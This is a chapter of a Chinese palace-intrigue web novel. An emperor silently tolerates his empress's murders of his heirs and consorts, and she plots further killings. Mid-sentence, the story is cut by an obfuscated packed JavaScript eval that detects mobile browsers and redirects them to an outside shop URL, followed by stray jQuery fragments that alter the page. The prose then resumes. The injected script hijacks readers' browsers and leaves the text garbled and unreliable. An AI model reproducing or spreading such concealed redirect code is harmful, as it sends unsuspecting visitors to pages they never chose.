东京连日的大雪，似乎是天公听到了百姓的哀鸣，在这日终于放晴了。


    积雪自松针叶上滚着掉进地上的土里，为来年的生机，埋下一份希望。


    乾清宫的月台下，此刻正有数名内侍低眉垂手侍立在侧。


    姬阆在东暖阁中翻阅着堆积如山的奏折，不时眉头紧锁，似乎看到了什么令他困扰的内容。


    就在这时，窗外一道阳光透过琉璃窗洒在暖阁里，映得屋内金碧辉煌。


    似乎是被折子上的事情勾起心中的郁闷，姬阆不由起身，向窗外望去。


    他透过窗柩，外边碧空如洗，却如何也驱不散心头的阴霾。


    这些日子，宫里死的人太多，太多了……


    “万岁爷，午膳已经备好。”


    一个内侍小心翼翼地叩门而入，声音低得几乎被吞没。


    见姬阆没有反应，他下意识地小步退了出去。


    很快，只见传膳的宫人鱼贯而入，小叶紫檀的八仙桌上摆满了山珍海味。


    须臾，姬阆收回思绪，在桌前坐下，尚膳监的人在一旁奉菜。


    只是不知是不是受心情影响，姬阆对桌上的菜肴并不感兴趣。


    就当他食之乏味时，偶然瞥见了桌上一盘拔丝地瓜。


    姬阆的筷子停下，不由愣了愣神，记忆如潮水般涌来。


    他依稀记得，也是这样的时节，他和妙贤还被困在南苑的时候，为了一个烤番薯，两人推让了小半个时辰。


    最后还是在他的再三坚持下，两人才分食了此物。


    那时，尽管他们日日处在惶恐不安中，可妙贤真的将他照顾的很好，很好……


    他被褫夺一切尊荣，连累妙贤一同被关进南苑。面对随时都可能来临的死亡，他整日自暴自弃，几乎已经放弃了生的希望。


    而妙贤，却从未怪过他……


    她宁愿自己吃米糠，也要将粳米留给他食用。且不论是砍柴做饭，还是浆洗衣服，都是她亲力亲为。


    她鼓励他不要放弃，任何时候都不要放弃。


    妙贤曾对他说过：“死亡并不可怕，但可怕的是明明拥有死亡的勇气，却不敢去直面现在的困境。”


    她……瞧不起懦弱的男人！”


    他至今记得那个半大的姑娘，蹲着地上一边烧柴，一边若无其事地安慰他的话语。


    明明自己都怕的要死，还要在他面前强颜欢笑，装出一副满不在乎的样子。


    他很多时候都在想，如果当初没有妙贤在旁边鼓励他、支撑他，他真的能够在南苑活下去吗？还能等到父王救他吗？


    姬阆不知道，也许对他而言，这将是终其一生都将要追寻的答案。


    姬阆的筷子悬在半空，那盘拔丝地瓜的热气袅袅升起，模糊了他的视线。


    他突然觉得喉头一哽，仿佛那甜腻的滋味不是从菜肴中传来，而是从遥远的记忆里渗出，苦涩而缠绵。


    贤妃的公主，贞妃的孩子，以及甄贵妃这一胎……他知道，一切他都知道。在这个位置上，鲜有能瞒过他的事情，只是愿不愿意的问题罢了。


    贤妃的敬懿公主，本是宫中难得的喜事，可那孩子落地就没气了。太医们虽然说是体弱，可他从东厂的密报中，看到了那些隐晦的蛛丝马迹，全都指向了坤宁宫。


    贞妃的孩子，就更明目张胆了。


    那是去年的事，她滑胎后，宫中传闻是她自己不小心，可他查到，贞妃的膳食中多了一味“安胎”的药，药材也是由坤宁宫的宫人经手过的。


    至于甄贵妃……这一胎，本该是他的第一个皇子。他在永和宫外，听过宜含的哭声，那撕心裂肺的痛，让他夜不能寐。


    他何尝不知妙贤这些年的所作所为，可每当他鼓起勇气来到坤宁宫想要质问她时，见到那张熟悉的面庞，便什么话都说不出口了。


    事后，当他有意无意提起几人的事，妙贤总是岔开话题，声称与自己无关。


    他不敢深究，他害怕，害怕查到是妙贤做的手脚，从此之后就要彻底失去她。


    他信了，或者说，他只能选择信了。


    因为妙贤的眼睛，还是南苑时那双坚定的眸子，里面有他的影子，有着他们的过去。


    “妙贤，你变了……”


    姬阆在心里喃喃自语，却终究没有说出口。


    他放下筷子，挥手让宫人退下。


    殿内空荡荡的，只剩他一人坐在桌前，午膳凉了，他的心也跟着凉了。


    他起身，走到书案前，拿起一封尚未批阅的折子。那是礼部关于年关宫宴的安排，除夕将至，整个东京城都会张灯结彩，宫中更是要大摆宴席，君臣同乐。


    可他知道，这场宴会，必然不会太平。


    还有德嫔和宋美人的孩子。


    “朕该怎么办？”


    姬阆喃喃道。


    他不是文庙那样的软弱君主，不会畏惧外戚。可妙贤也不是闫皇后，她只是他的妙贤，是那个在南苑与他共患难的女人。


    没有她，或许就没有今日的他。


    他曾发誓，要护她一世周全。可如今，这周全，已然成了纵容。


    门外，又有内侍叩门：“万岁爷，东厂提督沈安求见。”


    姬阆深吸一口气：“宣。”


    沈安进来，跪地道：“万岁爷，郑尚食的死，已经有眉目了，是否还要臣继续深挖下去……”


    虽然是在请示姬阆的意思，可沈安自个儿也明白，这件事大抵跟从前一样，都是无疾而终了。


    姬阆闻言，手中的奏折微微一顿。


    他抬起头，目光落在沈安身上，那双眼睛如深渊般幽暗，透着一种让人不寒而栗的威严。


    沈安跪在地上，额头贴着冰冷的金砖，不敢抬头。他在外人眼里虽然位高权重，可在这位杀伐果断的君主面前，一言不慎，便是万劫不复。


    “说。”


    姬阆的声音平平，却带着一丝不易察觉的疲惫。


    他坐直身子，示意沈安起身。


    沈安站起，低声道：“回万岁爷，臣查到郑尚食落水前，似乎与坤宁宫的汪嬷嬷有过密谈。那日郑尚食从坤宁宫出来之后，神色十分慌张，似是得了什么密令。”


    殿内一时寂静如死，只剩窗外松针上残雪滴落的细碎声。


    姬阆的指尖轻轻叩击着龙案，节奏越来越慢。


    对于郑尚食的死，宫里虽然风言风语，没料到果真也和妙贤有关……


    “罢了！”


    姬阆终于开口，声音低沉如冬日的风，“郑尚食已死，这件事已成定局，皇后也允她以恭人身份入殓，此事就此作罢，不要惊扰到了坤宁宫。”


    果然，如他所料想的一样，姬阆让他闭紧了嘴巴，这件事情这样虎头蛇尾地结束了。


    他叩首道：“臣遵旨。只是……最近宫中谣言四起，闹鬼的传闻已传到外朝。甚至东京城内的百姓都在私下议论，说是后宫冤魂太多。”


    “谣言？”


    姬阆的眉头皱得更紧，似是做了什么决定，开口道：“冯宫正上了年纪，许多事情都力不从心，也只能辛苦你了。让你底下的人抓几个散布谣言的宫人杖毙示众。莫让这些闲言碎语扰了太平，更不要传到皇后的耳中，听明白了吗！”


    他的声音不高不低，却带着上位者的压迫。


    沈安满头大汗，赶紧叩首应道：“臣明白！臣定不负万岁爷所托，严办那些散布谣言的宫人，绝不让这些谣言扰了皇后娘娘的清净。”


    他起身退下时，背脊已湿透。


    他这个东


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590348|205432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厂提督的位子外边虽然看着风光，可在这位年轻帝王面前，他永远只是奴婢，同禁廷中任何一个宦官没有什么区别。


    这些年过去，万岁爷的心思，他大抵也猜到了几分。凡是牵扯到万皇后的案子，甭管真相如何，只能结案，绝不能有一丁点儿地影响到坤宁宫。


    姬阆望着沈安离去的背影，他起身走到窗前，长叹一声。


    外头日头正好，积雪融化成水，渗入土中，仿佛在洗刷一切污秽。可他的心，却如那松针上的残雪，摇摇欲坠。


    他知道，郑尚食的死，不过是冰山一角。妙贤的手，已伸得太长，这些年，后宫的血债，一笔一笔，都记在她的账上。


    可他……他能怎么办？难道自己真的要废后不成？


    想到此处，姬阆不由摇了摇头，空旷的殿宇只剩下他一声叹息。


    坤宁宫内，汪嬷嬷还在力劝皇后不要此时不要冒然对德嫔她们出手。


    “娘娘，甄贵妃刚没了孩子不久，您就再对德嫔她们出手。您教万岁爷心里该如何想啊？”


    坤宁宫内，汪嬷嬷跪在地上，声音低沉却带着一丝急切。她已侍奉万皇后多年，深知主子的性子如烈火，一旦点燃，便难熄灭。可如今宫中风波四起，东厂的沈安频频出入乾清宫，万岁爷的心思已然生疑，她岂能坐视皇后再添祸端？


    “娘娘，甄贵妃刚没了孩子不久，您就再对德嫔她们出手。您教万岁爷心里该如何想啊？”


    汪嬷嬷抬头，眼中满是忧虑之色，“这些日子，宫里死的人够多的了。郑尚食的案子东厂虽未深挖，谁知会不会有什么变数？眼下年关将近，外头的大臣和命妇都要入宫朝贺，德嫔和宋美人她们若是出了事，只怕有些人会借机大做文章，到时候再闹到朝廷上去就不妙了。娘娘您是国母，中宫之尊，又何必急于一时？”


    闻言，万皇后的脸色微微一变，她停下脚步，转身看向汪嬷嬷。


    良久，她才吐出一句：“嬷嬷，你是老了，心慈手软了不成？”


    汪嬷嬷心下叹息，她知皇后这些年变的太多，太疯狂……早已不是当初东宫那位温柔的皇储妃。


    她还是跪地，深深叩首道：“娘娘，老奴侍奉娘娘多年，何曾有过何曾有过二心？老奴只是怕……怕娘娘一意孤行，惹恼了万岁爷。到时候夫妻离心，就……”


    “够了！”


    不容汪嬷嬷说完，万皇后直接开口打断她。


    只见万皇后冷哼了一声，“本宫偏就不信了，她们还能翻了天不成！”


    汪嬷嬷没有接话，只是有些心痛。


    自家主子似乎到现在还没明白，这些年如果不是有万岁爷袒护着，她早被废了尊位了。单是谋害皇嗣一条，群臣就容不得她！


    万岁爷顾及共患难时的情分在，也未追究那几个皇嗣的事情。


    可万岁爷而立之年还无子嗣，万皇后闹了这许多年，也该闹够了！若再不收敛，将最后的那点儿夫妻情分也作没了，只怕不会有太好的下场。


    汪嬷嬷又冒死劝了几句，但万皇后意已决，只得叹息着起身退下。


    待她踏出殿门后，她在门外站了片刻，心下如坠冰窟。


    这些年，她们手上沾的血越来越多，上至皇嗣嫔妃，下到那些无辜的宫女……她怕，这条路走下去，早晚会毁了万皇后。


    此时，万皇后独自坐在殿内，窗外阳光渐斜，映得她美丽的脸庞忽明忽暗。


    她摸着腕上的手镯，与其说是镯子，不如说是木环。


    那是姬阆在南苑时亲手雕的，一点一点将其棱角磨平，环内还刻着“永结同心”四个大字。


    触及到那四个字，她低笑一声，似乎是想起了从前那个少年向她许下的诺言。可她的眼中却无半点温暖，只有说不出的冰寒……